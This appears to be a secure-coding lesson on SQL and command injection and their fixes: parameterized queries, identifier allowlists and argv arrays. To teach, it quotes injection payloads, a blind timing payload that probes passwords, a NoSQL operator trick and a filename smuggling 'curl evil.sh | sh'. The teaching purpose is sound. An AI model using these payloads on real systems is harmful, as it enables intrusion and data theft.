Skip to content

Lesson 2 of 20 · 20m

Injection: parameters for SQL, argument arrays for commands

Why concatenated queries and shell strings get owned, and the typed side channel that fixes every interpreter.

Concatenating a value into SQL text doesn't put the value "inside" the query — it makes the value part of the query. The parser at the other end has no idea which bytes were supposed to be data:

cur.execute(f"SELECT * FROM users WHERE email = '{email}'")
# email = "x' OR '1'='1" → the quote closes the string, OR '1'='1 becomes SQL

That is the entire mechanism. Everything downstream is damage.

This is not a rare bug class. TalkTalk's 2015 breach — roughly 157,000 customers, a £400,000 ICO fine — walked in through SQL injection on a legacy ASP page. Equifax 2017 was the same family in a different coat: CVE-2017-5638 let a Content-Type header be evaluated as an OGNL expression by Apache Struts. Injection means the interpreter executed attacker text, whatever the interpreter is — SQL, a shell, LDAP, OGNL, a template engine.

The fix that always works: parameters

Parameterized queries put SQL text and values on separate channels. The value is never parsed as SQL — not for a single quote, not for anything:

cur.execute("SELECT * FROM users WHERE email = %s", (email,))        # psycopg
await pool.query("SELECT * FROM users WHERE email = $1", [email]);   // node-postgres
$st = $pdo->prepare("SELECT * FROM users WHERE email = ?");
$st->execute([$email]);
PreparedStatement st = conn.prepareStatement("SELECT * FROM users WHERE email = ?");
st.setString(1, email);

The wrong model here is "escape the dangerous characters." Escaping has lost in production repeatedly — mysql_real_escape_string was famously bypassed through the GBK charset, where a multibyte sequence swallows the escape backslash — and every hand-rolled escape invents a similar edge. Parameters don't escape anything; they remove the parse step entirely.

Prepare is not a talisman: $pdo->prepare("SELECT * FROM users WHERE email = '$email'") interpolates before the parse ever sees it — the placeholder has to be in the text. And injection doesn't need output. Blind injection exfiltrates through behavior: OR IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) turns a boolean into timing, one bit per request; UNION SELECT grafts attacker columns onto results the page already renders. "The query returned nothing" is not "the input was safe."

What parameters can't do

Placeholders bind values, not identifiers. A user-chosen sort column, table name, or LIMIT can't ride a ?. Identifiers get an allowlist, never interpolation:

const SORTS = { newest: "created_at DESC", top: "score DESC" };
const order = SORTS[req.query.sort] ?? SORTS.newest;   // never interpolate req.query.sort

LIMIT and OFFSET can bind (a number is a value), but ASC/DESC and the column being sorted cannot — keywords and identifiers get allowlists everywhere. The same "values only" rule bites elsewhere: LIKE wildcards in a parameter still need their %/_ escaped, and NoSQL has its own version — passing {email: req.body.email} to Mongo means {"$gt": ""} matches everyone, so coerce inputs to strings before they reach query objects.

Watch second-order injection too: a value stored safely and then concatenated into a later query injects just as well. And every ORM has an escape hatch — raw(), whereRaw, sql.unsafe, extraWhere — that reintroduces text-building. Grep for them in review.

Command injection: never hand a string to a shell

os.system("convert " + filename + " out.png")   # filename = "x.png; curl evil.sh | sh"

os.system, exec, execSync, system(), Runtime.exec(string), cmd /c, powershell -Command — all run a shell, and a shell parses ;, &&, |, $() and backticks. Shellshock (CVE-2014-6271) showed how ugly this gets: bash executed function definitions smuggled inside environment variables, so a CGI request header became a command.

The fix is the same shape as SQL: separate code from data. Pass an argument array — no shell involved, nothing to parse — and put -- before user values so they can't be read as options:

subprocess.run(["convert", "--", filename, "out.png"], check=True, timeout=10)
execFile("convert", ["--", filename, "out.png"]);    // not exec("convert " + …)
new ProcessBuilder("convert", "--", filename, "out.png").start();   // list form

Java's Runtime.exec("convert x y") isn't a shell either — it just splits on spaces, which is its own trap. Use ProcessBuilder with the list form.

Windows deserves its own warning: cmd /c quoting is adversarial in a different dialect (caret escapes, & not needing spaces), and powershell -Command runs whatever string lands in it. If a shell is truly unavoidable, escapeshellarg beats hand-quoting — but the argv array is the fix you never have to reason about. And put a timeout= on every subprocess call: a wedged convert is a resource leak on top of everything else.

Practice

One rule covers every interpreter: if the destination parses a language, values ride a typed side channel — parameters, argv arrays, prepared formats — or an allowlist. Never in the text. Add raw, exec, system(, eval, Runtime.exec, and os.system to your review greps.

Keep reading

Related articles from the SudoSecurity blog.